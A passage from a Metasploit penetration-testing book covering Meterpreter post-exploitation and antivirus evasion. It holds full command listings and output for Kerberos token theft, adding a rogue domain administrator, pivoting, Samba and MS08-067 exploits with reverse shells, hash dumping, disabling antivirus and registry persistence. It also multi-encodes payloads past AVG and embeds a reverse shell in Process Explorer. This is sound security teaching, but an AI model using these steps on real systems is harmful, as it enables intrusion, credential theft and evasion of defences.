meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
To switch back to the previous user account where we initially got our
Meterpreter shell, we’d use rev2self.
Token Impersonation
In token impersonation, we grab a Kerberos token on the target’s machine and
then use it in place of authentication to assume the identity of the user that
originally created that token. Token impersonation is very beneficial for pen-
etration tests and can be one of Meterpreter’s most powerful features.
Consider the following scenario, for example: You’re performing a pene-
tration test at your organization, and you successfully compromise the system
and establish a Meterpreter console. A domain administrator account has
logged on within the last 13 hours. When this account logs on, a Kerberos
token is passed to the server (single sign-on) and is valid for a certain period
of time. You exploit this system via the valid and active Kerberos token, and
through Meterpreter you successfully assume the role of a domain adminis-
trator, without needing the password. Then you hack a domain administra-
tor account or go after a domain controller. This is probably one of the
easiest ways to gain access into a system and just another example of why
Meterpreter is so useful.
Using ps
For this example, we’ll use the Meterpreter function ps to list the applications
running and show under which account they are running. We’ll use the
domain name SNEAKS.IN and the user account ihazdomainadmin .
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
380 cmd.exe x86 0 SNEAKS.IN\ihazdomainadmin\System\
Root\System32\cmd.exe
. . . SNIP . . .
meterpreter >

88 Chapter 6
As shown in the following listing, we leverage steal_token and the PID
(380 in this case) to steal the token of that user and assume the role of the
domain administrator:
meterpreter > steal_token 380
Stolen token with username: SNEAKS.IN\ihazdomainadmin
meterpreter >
We have successfully impersonated the domain administrator account
and Meterpreter is now running under the context of that user.
In some cases, ps may not list a running process running as a domain
administrator. We can leverage incognito to list available tokens on the system
as well. When performing a penetration test, we should check the output of
both ps and icognito because the results may vary.
We load incognito with use incognito and then list tokens with list_tokens -u.
Looking through the list of tokens, we see the SNEAKS.IN\ihazdomainadmin user
account at . Now we can pretend to be someone else.
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
SNEAKS.IN\ihazdomainadmin
IHAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
As shown in the next listing, we successfully impersonate the ihazdomainadmin
token at and add a user account at , which we then give domain admin-
istrator rights at . (Be sure to use two backslashes, \\, when entering the
DOMAIN\USERNAME at .) Our domain controller is 192.168.33.50.
meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin
meterpreter > add_user omgcompromised p@55w0rd! -h 192.168.33.50
[*] Attempting to add user omgcompromised to host 192.168.33.50
[+] Successfully added user
meterpreter > add_group_user "Domain Admins" omgcompromised -h 192.168.33.50
[*] Attempting to add user omgcompromised to group Domain Admins on domain controller
192.168.33.50
[+] Successfully added user to group

Meterpreter 89
When entering the add_user and add_group_user commands, be sure to
specify the -h flag, which tells Incognito where to add the domain administra-
tor account. In this case, that would be the IP address of a domain controller.
The implications for this attack are devastating: Essentially, the Kerberos
token on any system that a domain administrator logs into can be assumed
and used to access the entire domain. This means that every server on your
network is your weakest link!
Pivoting onto Other Systems
Pivoting is a Meterpreter method that allows for the attack of other systems
on a network through the Meterpreter console. For example, if an attacker
were to compromise one system, he could use pivoting to compromise other
systems on the same network or to access systems to which he could not
otherwise route traffic, for whatever reason.
For example, suppose you’re performing a penetration test from
the Internet. You compromise a system through a vulnerability and have a
Meterpreter console to the internal network. You can’t directly access other
systems on the network, because the system you compromised did not pro-
vide you with everything you need to do so, but you need to penetrate the
network further. Pivoting will allow you to attack multiple systems on the
internal network through the Internet, using the Meterpreter console.
In the following example, we’ll attack a system from one subnet and route
that system to attack another system. First, we’ll exploit the Windows XP
machine, and then we’ll piggyback the attack from our attacking machine to
an Ubuntu system on the internal network. We’ll come from a 10.10.1.1/24
address and attack systems within the 192.168.33.1/24 network.
We’ll assume that we already have access to one server via a compromise
and will focus on establishing a connection to that network. Next, we intro-
duce external scripts written with Meterpreter that can be found in the scripts/
meterpreter/ directory. These scripts offer additional functionality that we can
use within Meterpreter.
We begin by displaying local subnets on the compromised system within
a Meterpreter session with run get_local_subnets, as shown at .
[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1075)
meterpreter > run get_local_subnets
Local subnet: 192.168.33.0/255.255.255.0
meterpreter > background
msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 1

90 Chapter 6
We have successfully compromised our Windows XP machine and have
full access to it. Next, we background our running session at and add a
route command to the Framework at , telling it to route the remote net-
work ID over session 1, the background Meterpreter session. We then display
active routes with route print at , and we can clearly see at that, just as we
desired, the route is active.
Next, we’ll set up a second exploit against the targeted Linux system.
The specific exploit here is a Samba-based heap overflow, which would be
vulnerable on our Metasploitable machine.
use msf exploit(handler) > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129
LHOST => 10.10.1.129
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > ifconfig
[*] exec: ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:47:e6:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe47:e679/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:41386 (41.3 KB) TX bytes:41386 (41.3 KB)
msf exploit(lsa_transnames_heap) > exploit
[*] Started reverse handler on 10.10.1.129:8080
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...

Meterpreter 91
[+] Server did not respond, this is expected
[*] Trying to exploit Samba with address 0xffffe411...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Trying to exploit Samba with address 0xffffe412...
[*] Connecting to the SMB service...
[*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.33.132[\lsarpc] ...
[*] Calling the vulnerable function...
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (10.10.1.129:8080 -> 192.168.33.132:1608)
Compare the LHOST and RHOST variables to the network information
displayed by ifconfig . Our LHOST option specifies the IP address of our attack-
ing machine. Also notice, the RHOST option IP address is set to a different net-
work subnet and that we are attacking systems by tunneling our traffic through
our compromised target to additional systems on the target’s network. We
are leveraging the pivoting attack through Metasploit to pass communica-
tions through our exploited machine to the target machine that resides on
the local subnet. In this case, if the heap overflow is successful, we should be
presented with a reverse shell from 192.168.33.132, simply by leveraging the
network communications on the already compromised machine. When we run
the exploit with exploit, we see at that a connection is set up as expected
on a different machine, not the Windows XP machine. Now, to port scan
through the pivot, we would use the scanner/portscan/tcp scanner module,
which is built to handle routing through Metasploit.
NOTE You could also use the scanner/portscan/tcp scanner to conduct a series of port
scans through your compromised target on the local subnet itself. We won’t go into the
details here, but just know that you can perform port scanning on a compromised net-
work leveraging this module.
In the preceding examples, we used the route add command after we had
compromised the system. Alternatively, to add the routes automatically to
Meterpreter upon a new session spawn, we could use load auto_add_route:
msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.10.1.129:443
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1090)
[*] AutoAddRoute: Routing new subnet 192.168.33.0/255.255.255.0 through session 1

92 Chapter 6
Using Meterpreter Scripts
Several external Meterpreter scripts can help you to enumerate a system or
perform predefined tasks inside the Meterpreter shell. We won’t cover every
script here, but we will mention a few of the most notable ones.
NOTE The Meterpreter scripts are in the process of being moved to post exploitation modules.
We’ll cover both scripts and post exploitation modules in this chapter.
To run a script from the Meterpreter console, enter run scriptname. The
script will either execute or provide additional help on how to run it.
Should you want to use an interactive remote GUI on the system, you
can use the VNC protocol to tunnel the active desktop communications
and interact with the GUI desktop on the target machine. But in some
cases, the system may be locked and you may be unable to access it. Never
fear: Metasploit has us covered.
In the following example, we issue the run vnc command, which installs a
VNC session on the remote system. From there, we launch run screen_unlock
to unlock the target machine so that we can view the desktop. As a result, a
VNC window should appear, showing us the target desktop.
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.33.129 LPORT=4545)
[*] Running payload handler
[*] VNC stager executable 37888 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\CTDWtQC.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.33.129:4545...
[*] VNC Server session 2 opened (192.168.33.129:4545 -> 192.168.33.130:1091)
This will give us a VNC graphical interface to the target machine and
allow us to interact through a desktop.
meterpreter > run screen_unlock
[*] OS 'Windows XP (Build 2600, Service Pack 2).' found in known targets
[*] patching...
[*] done!
Migrating a Process
Often, when we are attacking a system and exploiting a service such as Inter-
net Explorer, if the target user closes the browser, the Meterpreter session
is also closed and we lose our connection to the target. To avoid this prob-
lem, we can use the migrate post exploitation module, shown next, to attempt
to migrate the service to a memory space that won’t close when the target
closes the browser. By migrating to a different, more stable process, we ensure
that the process isn’t closed and we maintain our connection to the system.
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: revterp.exe (2436)

Meterpreter 93
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
Killing Antivirus Software
Antivirus software can block certain tasks. During penetration tests, we have
seen “smarter” antivirus or host-based intrusion prevention products block
our ability to run certain attack vectors. In such cases, we can run the killav
script to stop the processes preventing our tasks from running.
meterpreter > run killav
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...
[*] Killing off cmd.exe...
Obtaining System Password Hashes
Obtaining a copy of the system’s password hashes allows us to run pass-the-
hash attacks or to brute force the hash to reveal the plain-text password. We
can obtain the password hashes with the run hashdump command:
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Viewing All Traffic on a Target Machine
To see all traffic on a target, we can run a packet recorder. Everything cap-
tured by packetrecorder is saved in the .pcap file format to be parsed with a
tool such as Wireshark.
In this listing, we run the packetrecorder script with the -i 1 option, which
specifies which interface we want to use to perform the packet captures:
meterpreter > run packetrecorder -i 1
[*] Starting Packet capture on interface 1
[*] Packet capture started
Scraping a System
The scraper script enumerates just about everything you could ever want
from a system. It will grab the usernames and passwords, download the entire
registry, dump password hashes, gather system information, and export the
HKEY_CURRENT_USER (HKCU).

94 Chapter 6
meterpreter > run scraper
[*] New session on 192.168.33.130:1095...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\WINDOWS\TEMP\XklepHOU.reg)
Using Persistence
Meterpreter’s persistence script allows you to inject a Meterpreter agent to
ensure that Meterpreter is running even after the target system reboots. If
this is a reverse connection, you can set intervals for the target to connect
back to the attacker machine. If it’s a bind, you can have it attempt to bind
on an interface at a given time.
WARNING If you use this functionality, be sure that you remove it after you’re done. If you forget to
do this, any attacker can also gain access to the system without authentication!
In the following listing, we run persistence and tell Windows to autostart
the agent at boot time (-X), wait 50 seconds (-i 50) before connection retries,
run on port 443 (-p 443), and connect to IP 192.168.33.129. We then estab-
lish a listener for the agent at with use multi/handler, and after setting a
couple of options and running exploit, we see at that the connection comes
in as expected.
meterpreter > run persistence -X -i 50 -p 443 -r 192.168.33.129
[*] Creating a persistent agent: LHOST=192.168.33.129 LPORT=443 (interval=50 onboot=true)
[*] Persistent agent script is 316384 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\asSnqrlUDRwO.vbs
[*] Agent executed with PID 3160
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xEYnaHedooc
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
xEYnaHedooc
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.33.129:443
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 2 opened (192.168.33.129:443 -> 192.168.33.130:1120)

Meterpreter 95
As of this writing, the only way to remove the Meterpreter agent is to
delete the registry entry in HKLM\Software\Microsoft\Windows\CurrentVersion\
Run\ and remove the VBScript located in C:\WINDOWS\TEMP\. Be sure to
document the registry keys and locations (such as HKLM\Software\Microsoft\
Windows\CurrentVersion\Run\xEYnaHedooc ) to remove them manually. Gen-
erally, you can do this through Meterpreter or drop to a shell and remove it
that way. If you feel more comfortable using a GUI, you can use run vnc and
remove the script with regedit. (Note that the registry keys will change each time,
so make sure that you document where Metasploit adds the registry keys.)
Leveraging Post Exploitation Modules
As mentioned earlier, the Meterpreter scripts are slowly being converted to
post exploitation modules. The move to post exploitation modules will finally
give a fully consistent standard and format to the Metasploit modules. As you
read through later chapters, you’ll see the overall structure of auxiliary mod-
ules and exploits. In the past, Meterpreter scripts used their own format,
which was very different from the way other modules behaved.
One added benefit of moving the modules to the same format is the ability
to perform the same attack on all sessions available. Suppose, for example,
that you have 10 open Meterpreter shells. In the traditional fashion, you
would need to run hashdump on each or write custom scripts to query through
each console. In the new format, you would be able to interact with each
session and perform the hashdump on multiple systems if needed.
The next listing shows an example of how to use the post exploitation
modules:
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY de4b35306c5f595438a2f78f768772d2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
To see a list of post exploitation modules, enter the following and then
press the TAB key on your keyboard at the end of the line:
meterpreter > run post/
Upgrading Your Command Shell to Meterpreter
One of the newer features in the Metasploit Framework is its ability to
upgrade a command shell payload to a Meterpreter payload once the system
has been exploited, by issuing the sessions -u command. This is useful if we
use a command shell payload as an initial stager and then find that this newly
exploited system would make the perfect launching pad for further attacks

96 Chapter 6
into the network. Let’s look at a quick example from start to finish using
MS08-067 with a reverse command shell as the payload, and upgrade it to a
Meterpreter shell.
root@bt:/opt/framework3/msf3# msfconsole
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > setg LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > setg LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > exploit -z
[*] Started reverse handler on 192.168.33.129:8080
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1032)
[*] Session 1 created in the background.
msf exploit(ms08_067_netapi) > sessions -u 1
[*] Started reverse handler on 192.168.33.129:8080
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53587 bytes)
[*] Command Stager progress - 6.32% done (3388/53587 bytes)
. . . SNIP . . .
[*] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit(ms08_067_netapi) > [*] Meterpreter session 2 opened (192.168.33.129:8080 ->
192.168.33.130:1044)
msf exploit(ms08_067_netapi) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
At we issue the setg command for LHOST and LPORT, which is required in
order for the sessions -u 1 to upgrade to Meterpreter at . (The setg command
sets the LPORT and LHOST globally in Metasploit, not just for this exploit.)

Meterpreter 97
Notice at that when we exploit the system we issue the exploit -z
command, which will not interact with the session once the target has been
exploited. If you had already executed the exploit command at this point,
you could simply press CTRL-Z and run the session in the background.
Manipulating Windows APIs with the Railgun Add-On
You can interface with the Windows native API directly through a Metasploit
add-on called Railgun, which was written by Patrick HVE. By adding Railgun
to the Metasploit Framework, you can natively call Windows APIs through
Meterpreter, all through the Windows API. For example, in the following
listing, we’ll drop into an interactive Ruby shell (irb), available through
Meterpreter. The irb shell allows us to interact directly with Meterpreter
through Ruby-based syntax. We call Railgun in this example and create a
simple pop-up box saying “hello world”.
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
On our target Windows XP machine, you should see a pop-up box with
world in the title bar and hello in the message box. In this example, we simply
called the user32.dll and the MessageBoxA function, which takes the parameters
as shown.
NOTE For a list of all documented API calls, visit http://msdn.microsoft.com/.
We won’t cover Railgun in detail (you can find a tutorial within the
Framework directory under external/source/meterpreter/source/extensions/stdapi/
server/railgun/), but this gives you an idea of its power.
The implications are huge: Railgun gives you the same capabilities as a
native Win32 application with full access to the Windows API.
Wrapping Up
Hopefully, you’re now pretty comfortable with Meterpreter. We haven’t gone
through every Meterpreter flag and option, because we expect your knowl-
edge of Meterpreter to grow as you experiment and use it. Meterpreter is a
continuously evolving tool with an enormous amount of support for scripts
and additions. Once you become comfortable with the overall interface, you
will be able to master anything new. In Chapter 16, you will learn how to cre-
ate your own Meterpreter scripts from scratch and how the overall structure
of a Meterpreter script is designed.

AVOIDING DETECTION
When you are performing a penetration test, nothing is
more embarrassing than being caught by antivirus soft-
ware. This is one of those little details that can be over-
looked quite easily: If you don’t make plans to evade
detection by antivirus software, watch out, because your
target will quickly be alerted that something fishy is going on. In this chapter,
we’ll cover situations in which antivirus software might be an issue and discuss
possible solutions.
Most antivirus software uses signatures to identify aspects of malicious
code that are present in a sampling of malicious software. These signatures
are loaded into antivirus engines and then used to scan disk storage and run-
ning processes for matches. When a match is found, the antivirus software
takes certain steps to respond to the situation: Most quarantine the binary
or kill the running process.
As you might imagine, this model has scaling issues. For one, the amount
of malicious code in the wild means that an antivirus product loaded with
signatures can check files only so quickly for matching signatures. Also, the

100 Chapter 7
signatures must be specific enough to trigger only when they encounter truly
malicious programs, not legitimate software. This model is relatively easy to
implement, yet it provides limited success in practice.
That being said, a lot of money is being made by antivirus publishers,
and many smart and talented people work in the industry. If you plan to use
a payload that is not custom built, you can expect that antivirus software will
detect it.
To evade antivirus, we can create unique payloads to run on an antivirus
software–protected system that will not match any of the available signatures.
In addition, when we’re performing direct exploits on a system, Metasploit
payloads are designed to run in memory and never to write data to the hard
disk. When we send a payload as part of an exploit, most antivirus programs
will not detect that it has been run on the target.
Rather than focus on specific commands in this chapter, we’ll focus on
the underlying concepts. Consider the sorts of characteristics that might trig-
ger antivirus software, and try to use the techniques presented here to change
sections of code so that they no longer match the antivirus signatures. Don’t
be afraid to experiment.
Creating Stand-Alone Binaries with MSFpayload
Before we perform an antivirus evasion, let’s look at how to create stand-
alone Metasploit binary payloads with msfpayload. For starters, we’ll create a
simple reverse shell that connects back to the attacker and spawns a command
shell. We’ll use msfpayload and windows/shell_reverse_tcp. But first, let’s look at
the available options for the shell_reverse_tcp payload using the O flag at .
root@bt:/# msfpayload windows/shell_reverse_tcp O
. . . SNIP . . .
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Now let’s run msfpayload again and provide the options needed to create
this payload in the Windows Portable Executable (PE) format. To do so, we
provide the X option as shown at as our output format:
root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 X >
/var/www/payload1.exe
root@bt:/# file /var/www/payload1.exe
var/www/payload1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Now we have a working executable, so we can start a listener with the
multi/handler module in msfconsole. multi/handler allows Metasploit to listen
for reverse connections.

Avoiding Detection 101
msf > use exploit/multi/handler
msf exploit(handler) > show options
. . . SNIP . . .
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.1.101 yes The local address
LPORT 4444 yes The local port
. . . SNIP . . .
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >
We first use the multi/handler module at and get a quick display of the
options at . Then, we set our payload to be a Windows reverse shell at so
that it matches the behavior of the executable we created earlier, tell it the IP
at and the port to listen on at , and we’re ready to go.
Evading Antivirus Detection
We’ll use the popular AVG Anti-Virus product in the following examples.
Because it can take some time and multiple tries to circumvent certain antivirus
engines, before we try to deploy a payload, we check the antivirus solution to
make sure the payload gets past it before we deploy it on the target.
In this case, when we test our payload with AVG, we see that it’s detected,
as shown in Figure 7-1.
Figure 7-1: AVG detected our payload.

102 Chapter 7
Encoding with MSFencode
One of the best ways to avoid being stopped by antivirus software is to encode
our payload with msfencode. Msfencode is a useful tool that alters the code in an
executable so that it looks different to antivirus software but will still run the
same way. Much as the binary attachment in email is encoded in Base64,
msfencode encodes the original executable in a new binary. Then, when the
executable is run, msfencode decodes the original code into memory and exe-
cutes it.
You can use msfencode -h to see a list of msfencode usage options. Of the
msfencode options, the encoder formats are among the most important. For a
list of encoder formats, we use msfencode -l, as shown next. Notice that differ-
ent encoders are used for different platforms, because, for example, a Power
PC (PPC) encoder will not operate correctly on an x86 platform because of
differences in the two architectures.
root@bt:/opt/framework3/msf3# msfencode -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Avoiding Detection 103
Now we’ll run a simple encoding of an MSF payload by importing raw
output from msfpayload into msfencode to see how the result affects our anti-
virus detection:
root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R |
msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
root@bt:/# file /var/www/payload2.exe
/var/www/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
We add the R flag at to the msfpayload command line to specify raw
output, because we will pipe its output directly into msfencode. We specify the
x86/shikata_ga_nai encoder at and tell msfencode to send the executable out-
put -t exe to /var/www/payload2.exe. Finally, we run a quick check at to
ensure that the resulting file is in fact a Windows executable. The response
tells us that it is. Unfortunately, after the payload2.exe file is copied over to the
Windows system, AVG detects our encoded payload yet again, as shown in
Figure 7-2.
Figure 7-2: AVG detected our encoded payload.
Multi-encoding
When we’re performing antivirus detection without modifying the static
binary itself, it’s always a cat-and-mouse game, because antivirus signatures
are frequently updated to detect new and changed payloads. Within the
Framework, we can get better results through multi-encoding, which allows
the payload to be encoded several times to throw off antivirus programs that
check for signatures.
In the preceding example, the shikata_ga_nai encoding is polymorphic,
meaning that the payload will change each time the script is run. Of course,
the payload that an antivirus product will flag is a mystery: Every time you
generate a payload, the same antivirus program can flag it once and miss it
another time.

104 Chapter 7
It is recommended that you test your script using an evaluation version
of a product to see if it bypasses the antivirus software prior to using it in a
penetration test. Here’s an example of using multiple encoding passes:
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5
-t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e
x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5
-t exe -o /var/www/payload3.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1940 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 1969 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] x86/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msf3#
Here we use five counts at of shikata_ga_nai, feeding the code in raw
format at into two counts of alpha_upper encoding at , which is then fed
to another five counts of shikata_ga_nai ,followed by five counts of countdown
encoding at , before finally directing the output into the desired execut-
able. We are using a total of 17 encoding loops in an attempt to circumvent
the antivirus software. And, as you can see in Figure 7-3, we have successfully
slipped our payload past the antivirus engine.
Figure 7-3: AVG has not detected the multi-encoded payload.

Avoiding Detection 105
Custom Executable Templates
Typically, when msfencode is run, the payload is embedded into the default
executable template at data/templates/template.exe. Although this template is
changed on occasion, antivirus vendors still look for it when building signa-
tures. However, msfencode now supports the use of any Windows executable
in place of the default executable template via the -x option. In the follow-
ing example, we encode our payload again using the Process Explorer from
Microsoft’s Sysinternals Suite as a custom-executable template.
root@bt:/opt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip
. . . SNIP . . .
2011-03-21 17:14:46 (119 KB/s) - 'ProcessExplorer.zip' saved [1615732/1615732]
root@bt:/opt/framework3/msf3# cd work/
root@bt:/opt/framework3/msf3/work# unzip ../ProcessExplorer.zip
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@bt:/opt/framework3/msf3/work# cd ..
root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe
-o /var/www/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)
As you can see, at we download Process Explorer from Microsoft
then unzip it at . Then at we use the -x switch to specify the downloaded
Process Explorer binary for use as our custom template. After encoding com-
pletes, we start up the multi-handler through msfcli to listen for the incoming
connection, as shown here:
root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
